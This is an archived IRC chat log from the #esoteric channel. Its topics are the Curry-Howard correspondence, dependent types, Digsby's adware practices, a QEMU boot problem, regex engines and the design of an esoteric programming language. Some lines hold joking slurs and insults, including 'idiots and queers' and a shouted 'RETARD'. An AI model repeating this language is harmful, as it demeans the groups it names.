PRIVMSG #esoteric :What I was /trying/ to do is use *analogy*. < 1268512997 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Curry-Howard: Types in the lambda calculus correspond to statements in intuitionistic logic. W < 1268513004 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Curry-Howard: Types in the lambda calculus correspond to statements in intuitionistic logic. We love this, and pursue it: it's why we make dependent languages. < 1268513013 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :is that a quote? < 1268513014 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So if you do not appreciate the isomorphisms I listed, why then Curry-Howard? < 1268513018 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1268513027 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :okay let me get this straight < 1268513042 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268513044 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no I don't get it < 1268513064 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :What part? < 1268513065 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :can't you use v and ^ instead? :p < 1268513071 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'm asking #haskell < 1268513074 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :comex: Yeah, it's not like v is like a variable name. < 1268513082 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: ugh, you make no sense at all < 1268513095 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*is a variable name < 1268513111 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this is my question: < 1268513112 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what does 'Curry–Howard correspondence' have to do with dependent types? < 1268513127 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Ugh! That is IRRELEVANT to my point. < 1268513134 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Dependent languages make /good proof systems/. < 1268513135 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wow < 1268513140 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why is it irrelevant < 1268513152 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Because/ of Curry-Howard. < 1268513154 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*Because < 1268513155 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*BECAUSE < 1268513197 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So we, in making our languages, support the isomorphism; recognise it as good. If you do not recognise isomorphisms as a reason for the unification of two general concepts, as in the examples I showed, why then do you recognise Curry-Howard as a good thing? < 1268513243 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure what Curry-Howard is exactly < 1268513273 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it seems kinda vauge, like a principle more than a formal statement < 1268513286 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Duh. < 1268513287 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Of course it is. < 1268513312 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you needn't be so caustic < 1268513319 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: http://lifehacker.com/5336382/digsby-joins-the-dark-side-uses-your-pc-to-make-money, http://www.downloadsquad.com/2008/11/24/new-digsby-installer-loaded-with-bloat-and-adverts/, http://www.downloadsquad.com/2009/08/14/digsby-responds-to-claims-of-shady-money-making-tactics/ < 1268513405 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Survived the first two points raised by LH < 1268513422 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So? < 1268513425 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Do you want to support such a company? < 1268513530 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm. What alternatives are there, then? < 1268513544 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Pidgin's been sucking for me for some reason, Digsby's company is shady < 1268513545 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Uh, Pidgin? < 1268513549 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It sucks but what can you do. < 1268513559 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Miranda IM is popular with the anal-retentive tweakers. < 1268513570 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :A few hours and it's exactly as good as Pidgin but with more alpha-translucency. < 1268513592 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1268513592 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION doesn't like tweaking stuff
< 1268513596 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Huh; Russ Cox wrote Code Search. < 1268513600 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise just give up on me after bitching < 1268513615 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: I just didn't notice what you said < 1268513620 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :There are other people than you and they talk... < 1268513631 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I give up on people after I see a conversation going in circles, only. < 1268513742 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :brb < 1268513747 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :people shouldn't repeat themselves if they don't like going in cirlecs.. < 1268513759 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Can Miranda IM be made to support Facebook Chat? < 1268513774 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Apparently yes < 1268513812 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I remember using Miranda IM once when I couldn't get Pidgin working, and I remember HATING it < 1268513815 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838] < 1268513831 0 :Phantom_Hoover!~chatzilla@cpc3-sgyl21-0-0-cust116.sgyl.cable.virginmedia.com JOIN :#esoteric < 1268513862 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Bloody QEMU... < 1268513878 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION weeps
< 1268513884 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Why? < 1268513978 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :*bangs head against keyboard* < 1268513982 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :What's wrong with Qemu? < 1268514036 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I'm trying to run a Linux kernel with -hda as a virtual disc, but it won't mount for some reason. < 1268514138 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :If I run "qemu -m 32 -hda ./vm.img -kernel ~/.../bzImage -append "root=/dev/hda"" the console prints some stuff about not being able to mount < 1268514139 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :. < 1268514163 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Is hda a virtual disk or a filesystem? That is, is it partitioned? < 1268514181 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :You mean vm.img? < 1268514187 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yeah < 1268514198 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :It's a raw image with an ext3 filesystem on it. < 1268514211 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Well, yuh, that should work, assuming the kernel has IDE support. < 1268514254 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :It doesn't work with the kernel in /boot either, so I assume the fault isn't with the kernel. < 1268514286 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh what happened... < 1268514299 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :By mistake I left clicked a tab with ctrl held down in firefox < 1268514308 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it changed the tab title to begin with "(*)" < 1268514316 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :repeating the click removes it < 1268514319 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fully reproducible < 1268514336 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but it seems to have no effect in behaviour < 1268514352 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyone know if it is supposed to just do that, or do something else as well? < 1268514374 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, if it is just to mark a tab, or it changes something wrt. how the tab behaves < 1268514435 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it could be from tab mix plus I suppose < 1268514514 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838] < 1268514757 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise? < 1268515049 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm it does indeed seem to be related to tab mix plus < 1268515094 0 :Phantom_Hoover!~chatzilla@cpc4-sgyl29-2-0-cust108.sgyl.cable.virginmedia.com JOIN :#esoteric < 1268515150 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Should ChanServ really be giving me a dead link? < 1268515198 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :yes. < 1268515209 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :But it's dead! < 1268515496 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :It's bleeding demised! It's passed on! It's no more! It has ceased to be! It's expired and gone to meet its maker! < 1268515626 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :It's just resting. < 1268515639 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :back < 1268515645 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise_: not you < 1268515648 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Oh, you were right. < 1268515662 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :we backed up the frappr, so bah < 1268515690 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Where is this backup? < 1268515705 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :on our hard drives < 1268515712 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster has it, so do I on my other machine < 1268515763 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Oh, does anyone now the reason for my Qemu problems? < 1268515771 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Apparently Digsby stopped bundling spyware, so I'll try it. < 1268515778 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: #qemu? < 1268515791 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise alise alise alise < 1268515822 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Tried that. It doesn't let me say anything. < 1268515894 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Identify your nickname. < 1268515897 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: What? < 1268515901 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :...How? < 1268515908 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :nickserv < 1268515918 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :...How? < 1268515929 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Just Fucking Google It < 1268515935 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :;( < 1268515946 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ghost sucker: /msg nickserv help < 1268515953 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :don't google anything < 1268515958 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :google is for idiots and queers < 1268516003 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :real defensed proposition you got there < 1268516007 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you included all that evidence and reasoning < 1268516084 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION uses a screwdriver to fix alise_'s joke detector
< 1268516128 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise < 1268516132 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I have to tell you this < 1268516138 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Coq is a proof assistant based on dependent type theory developed at < 1268516138 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :INRIA [CDT08]. By default, it uses constructive logic via the Curry-Howard < 1268516138 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :isomorphism. This isomorphism associates propositions with types and proofs of < 1268516141 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :propositions with programs of the associated type. This makes Coq a functional < 1268516145 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :programming language as well as a deduction system. The identification of a pro- < 1268516148 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :gramming language with a deduction system allows Coq to reason about programs < 1268516151 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and allows Coq to use computation to prove theorems. < 1268516159 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: well fax legit hates wikipedia, so... < 1268516291 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise_: so what you are saying is that fax incorporates poe's law all by himself? < 1268516390 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1268516405 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Oerjan: There seems to be some vandalism on the wiki. < 1268516424 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :to the esomobile! < 1268516446 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise -- are you really pissed off at me < 1268516464 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1268516475 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :If I was, I would be FUCKING SHOUTING YOU RETARD <-- like that. < 1268516488 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION uses the screwdriver to fix fax's joke detector as well.
< 1268516488 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :"Allow Digsby to use idle CPU time for grid computing." Uh, no? < 1268516489 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1268516507 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan ? < 1268516530 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Manage all your IM, email and social < 1268516530 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :network accounts with one login < 1268516533 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: assuming you are referring to the Lazy Evaluation article? < 1268516537 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Suspicious. Do I have to give them my password? < 1268516540 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that's clearly a joke < 1268516544 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lazy evaluation?? no < 1268516555 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :wait waht < 1268516571 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Me? < 1268516572 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION beats himself for confusing fax and Phantom_Hoover ===\__/
< 1268516579 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :OH! < 1268516582 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Why do I need a Digsby account? < 1268516583 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :We wanted to make it easier to use Digsby at multiple locations. Your Digsby account is used to synchronize preferences such as what skin to use and whether to show popups or not. When you sit down at another computer and log in to Digsby, the experience is completely seamless. < 1268516583 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*OW! < 1268516586 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So: They store my password. < 1268516596 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :reversibly < 1268516603 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Obviously. < 1268516604 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: mind you your joke detector probably needs adjustment too < 1268516616 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1268516622 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I TAKE OFFENSE TO THIS < 1268516626 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*Phantom_Hoover: assuming you are referring to the Lazy Evaluation article? < 1268516645 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Digsby used to bundle adware, now by default (1) uses a browser plugin to get cashbacks when you shop online (installer setting) (2) uses your idle CPU for grid computing (3) changes your homepage to a Digsby-branded Google Search. It also stores your IM passwords. < 1268516649 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: I think I have said enough. < 1268516666 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION gives his info anyway because dammit pidgin is /really/ badf
< 1268516666 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*bad < 1268516675 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268516702 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: maybe you could write your own? < 1268516713 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, even telnet is usable for IRC, but only if you don't do anything else < 1268516715 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :o_o < 1268516722 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Write Windows software? Are you kidding? < 1268516737 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: I'd suggest not actually using the Windows API, that would be ridiculous < 1268516737 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*/me uses the screwdriver to fix Phantom_Hoover's joke detector as well. < 1268516748 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but can't you write portable software, and then run it on Windows? < 1268516760 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wanted to talk about dependent types/constructive math with ehird but seems not to be happening
< 1268516778 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but I'd rather just get an internet connection that doesn't suck and use it to install Ubuntu. < 1268516779 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Or buy a Mac. < 1268516817 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: you can!! < 1268516821 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I love talking about those things < 1268516834 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Ooh, Digsby lets you sort contact by total size of logs. < 1268516836 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :That's interesting. < 1268516976 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :does anyone hear know what the common "now you have two problems" quip against regex means? < 1268517021 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what it means?? < 1268517030 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it means that writing regex is a bitch < 1268517035 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and doesn't make things easier < 1268517053 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523 is so eso-adjusted that he thinks regexes are easy :D < 1268517072 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: because regexps are brittle and often have scary performance < 1268517074 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :regex makes things easier if it's appropriate for the problem < 1268517082 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: The original quote is about sed, not regex. < 1268517086 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It's a quip, it doesn't have to be actually true. < 1268517086 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :just, don't use it to parse XML or stupid things like that < 1268517096 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: recognised; Deewiant: ah, interesting < 1268517122 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The UNIX-HATERS Handbook mentions it. < 1268517131 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :<3 unix haters handbook! < 1268517172 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :is there a windows-haters handbook? < 1268517206 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Not to my knowledge. < 1268517213 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, http://esolangs.org/wiki/Lazy_evaluation, now that's /clever/ vandalism < 1268517225 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :much better than the typical "recursion" joke < 1268517241 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268517246 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I'd leave that there < 1268517251 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm planning to < 1268517255 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Since there wasn't any content to start with < 1268517300 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also fun: Google have made a mostly PCRE-compatible regular expression engine < 1268517348 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :expanding the acronym makes your head spin < 1268517365 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268517387 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Firefox can't find the server at www.esolangs.org. :/ < 1268517391 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, it's the typical "fast but can't do everything" implementation using a Thompson NFA < 1268517399 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :ais523: ... why? < 1268517408 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://esoteric.voxelperfect.net/wiki/Lazy_evaluation < 1268517408 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: better worst-case performance < 1268517428 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so they can let people write arbitrary regexen and evaluate them without worrying about someone sending them an algorithmic complexity bomb < 1268517430 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Except that worst-case performance of PCRE is almost a non-issue, the worst case never comes up ... < 1268517434 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Ahhh < 1268517437 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Arbitrary regex < 1268517438 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Most properly-maintained things use the slow algos < 1268517443 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :User-created malicious regex. < 1268517444 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Gotcha. < 1268517541 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268517545 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Russ Cox wrote it < 1268517550 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Only now do I get the lazy evaluation page. < 1268517551 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :the same author of the famous article about it < 1268517559 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(and the author of Google Code Search which uses it) < 1268517761 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Russ Cox??? < 1268517946 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268517965 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise_ < 1268517966 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :PM me < 1268518053 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fax: can't you PM alise? < 1268518060 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268518065 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :she doesn't want to talk to me < 1268518095 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there is something wrong with this reasoning... < 1268518099 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Mayhaps that's because you mistook him for a woman :P < 1268518116 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hey, I've been careful for ages to avoid pronouns for alise, it's more fun that way < 1268518131 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, third-person pronouns at least < 1268518134 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Actually, she is the correct pronoun. < 1268518139 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :imagine if "I" and "you" were gendered! < 1268518143 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It in fact matches reality more than he. < 1268518146 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Most people mistake me for a girl. < 1268518168 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ounapfhounfakp < 1268518175 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Hotels: "Miss (mother's surname because I'm never asked for mine)". Taxis: "[Blah blah destination] ladies?" < 1268518189 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :People, to my mother: "Blah blah blah your daughter" < 1268518192 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So on, so forth. < 1268518198 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: I'll talk if you say something to me. < 1268518198 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Weird. < 1268518202 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1268518239 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268518249 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: Long hair + ULTRA-SOFT PERSONALITY YO < 1268518260 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :+ young so no GRATUITOUS BODILY HAIR AND ADAM'S APPLE = Female! < 1268518268 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wait until you hit puberty :( < 1268518302 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Hey, I have. It's just taking its sweet, sweet time :P < 1268518348 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838] < 1268518598 0 :mano0o0!unknown@unknown.invalid PART #esoteric :? < 1268518606 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :;( < 1268518621 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Your girliness was pretty conclusively proven by that one video, you know. < 1268518646 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :video ? < 1268518667 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: I showed my female genitals! (not really) < 1268518671 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :gross < 1268518771 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::| < 1268518827 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :|: < 1268518837 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I wish someone would talk to me about deptypes < 1268518857 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: did you see my talk about Confloddle in the log? < 1268518896 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :deptypes are so depressing. it's in the name, really. < 1268518906 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION didn't see ais523's talk
< 1268518909 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :-_-- < 1268518919 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: it's a new esolang I'm thinking about < 1268518929 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :tarpit, as usual; I like tarpits that work differently from other tarpits < 1268518936 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: So SAY SOMETHING! < 1268518939 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :tits < 1268518967 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the only data type is the list (also function literals, but functions can't be manipulated in any way, just run, and there are no closures) < 1268518975 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: Okay, how about this: Make a paraconsistent deptyped language. < 1268518985 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and there are only two operators/commands, cons and foldl < 1268518991 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't know what paraconsistent it but it sounds stupid < 1268519001 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cunning tarpal syndrome < 1268519003 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I'd explain but I've forgotten how to spell a word < 1268519005 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :And google isn't loading < 1268519006 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :sec < 1268519020 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :That is, p and ~p are allowed to coexist (dialetheia). You could do this by weakening _|_ -> forall a, a. < 1268519025 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I think this leads to a TC lang with 5 characters re<>: without cheating (the same way that BF is 8 ,.<>+-[] without cheating, although of course BF can be cut down) < 1268519072 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Nested folding on infinite lists seems trivially TC to me. < 1268519077 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: idea -- eliminate > < 1268519080 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :< lasts til end of program? < 1268519086 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no, <> delimit a function < 1268519092 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :No <> is foldr < 1268519097 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :<> is foldl < 1268519100 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :er right < 1268519102 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and what's 